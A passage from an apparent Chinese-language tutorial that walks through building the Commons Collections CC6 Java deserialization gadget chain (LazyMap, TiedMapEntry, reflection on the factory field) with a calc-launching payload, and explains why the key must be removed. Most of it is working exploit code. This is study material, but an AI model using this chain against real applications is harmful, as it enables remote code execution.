Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>(); //下面这两种就是差别地方,先断掉链子 //Map lazymap = LazyMap.decorate(map, chainedTransformer); Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");
Map<Object,Object> hashmap = new HashMap<>(); hashmap.put(tiedMapEntry,"bbb"); //利用反射修改factory参数,重新接上链子 Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,chainedTransformer); //serialize(hashmap); unserialize("ser.bin");
在序列化时没有问题,反序列化时没有弹出计算器,断点跟进,看到在LazyMap的 get 函数中 map 为 LazyMap, key为TiedMapEntry初始化传进的 aaa,逻辑也很简单,在一开始 hashMap 的 put 时候,如果没有key,进入if,调用完 transform 再 添加键key,这样在反序列化时,就不再进入if触发后续链子,所以这里要 把LazyMap的key给remove掉。
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map<Object, Object> map = new HashMap<>(); //Map lazymap = LazyMap.decorate(map, chainedTransformer); Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa"); Map<Object,Object> hashmap = new HashMap<>(); hashmap.put(tiedMapEntry,"bbb"); lazymap.remove("aaa");
Class c = LazyMap.class; Field factory = c.getDeclaredField("factory"); factory.setAccessible(true); factory.set(lazymap,chainedTransformer);
serialize(hashmap); unserialize("ser.bin"); }
publicstaticvoidserialize(Object obj)throws IOException { FileOutputStream fos = new FileOutputStream("ser.bin"); ObjectOutputStream oos = new ObjectOutputStream(fos); oos.writeObject(obj); oos.close(); }